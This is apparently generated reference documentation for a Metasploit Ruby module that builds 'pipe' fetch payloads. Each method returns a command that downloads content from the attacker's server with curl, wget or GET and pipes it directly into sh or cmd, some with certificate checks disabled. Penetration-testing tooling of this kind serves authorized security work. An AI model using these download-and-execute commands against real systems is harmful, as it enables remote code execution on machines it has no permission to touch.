Module: Msf::Payload::Adapter::Fetch::Pipe

Included in:
Msf::Payload::Adapter::Fetch
Defined in:
lib/msf/core/payload/adapter/fetch/pipe.rb

Overview

Common library for pipe-enabled fetch payloads

Instance Method Summary collapse

Instance Method Details

#_download_pipe(uripath) ⇒ Object



8
9
10
# File 'lib/msf/core/payload/adapter/fetch/pipe.rb', line 8

def _download_pipe(uripath)
  "#{srvnetloc}/#{uripath}"
end

#_generate_curl_pipe(uri) ⇒ Object



32
33
34
35
36
37
38
39
40
41
42
# File 'lib/msf/core/payload/adapter/fetch/pipe.rb', line 32

def _generate_curl_pipe(uri)
  execute_cmd = windows? ? 'cmd' : 'sh'
  case fetch_protocol
  when 'HTTP'
    return "curl -s http://#{_download_pipe(uri)}|#{execute_cmd}"
  when 'HTTPS'
    return "curl -sk https://#{_download_pipe(uri)}|#{execute_cmd}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_generate_get_pipe(uri) ⇒ String

Builds a GET command that streams a served command directly into a shell.

Returns:

  • (String)

    The GET pipe command.



58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# File 'lib/msf/core/payload/adapter/fetch/pipe.rb', line 58

def _generate_get_pipe(uri)
  # Specifying the method (-m GET) is necessary on OSX
  execute_cmd = windows? ? 'cmd' : 'sh'
  case fetch_protocol
  when 'HTTP'
    return "GET -m GET http://#{_download_pipe(uri)}|#{execute_cmd}"
  when 'HTTPS'
    # There is no way to disable cert check in GET ...
    print_error('GET binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
    return "GET -m GET https://#{_download_pipe(uri)}|#{execute_cmd}"
  when 'FTP'
    return "GET ftp://#{_download_pipe(uri)}|#{execute_cmd}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_generate_wget_pipe(uri) ⇒ Object



44
45
46
47
48
49
50
51
52
53
# File 'lib/msf/core/payload/adapter/fetch/pipe.rb', line 44

def _generate_wget_pipe(uri)
  case fetch_protocol
  when 'HTTPS'
    return "wget --no-check-certificate -qO- https://#{_download_pipe(uri)}|sh"
  when 'HTTP'
    return "wget -qO- http://#{_download_pipe(uri)}|sh"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#generate_pipe_command(uri) ⇒ Object



19
20
21
22
23
24
25
26
27
28
29
30
# File 'lib/msf/core/payload/adapter/fetch/pipe.rb', line 19

def generate_pipe_command(uri)
  case datastore['FETCH_COMMAND'].upcase
  when 'WGET'
    return _generate_wget_pipe(uri)
  when 'CURL'
    return _generate_curl_pipe(uri)
  when 'GET'
    return _generate_get_pipe(uri)
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
  end
end

#pipe_supported_binariesObject



12
13
14
15
16
17
# File 'lib/msf/core/payload/adapter/fetch/pipe.rb', line 12

def pipe_supported_binaries
  # this is going to expand when we add psh support
  return %w[CURL] if windows?

  %w[WGET CURL GET]
end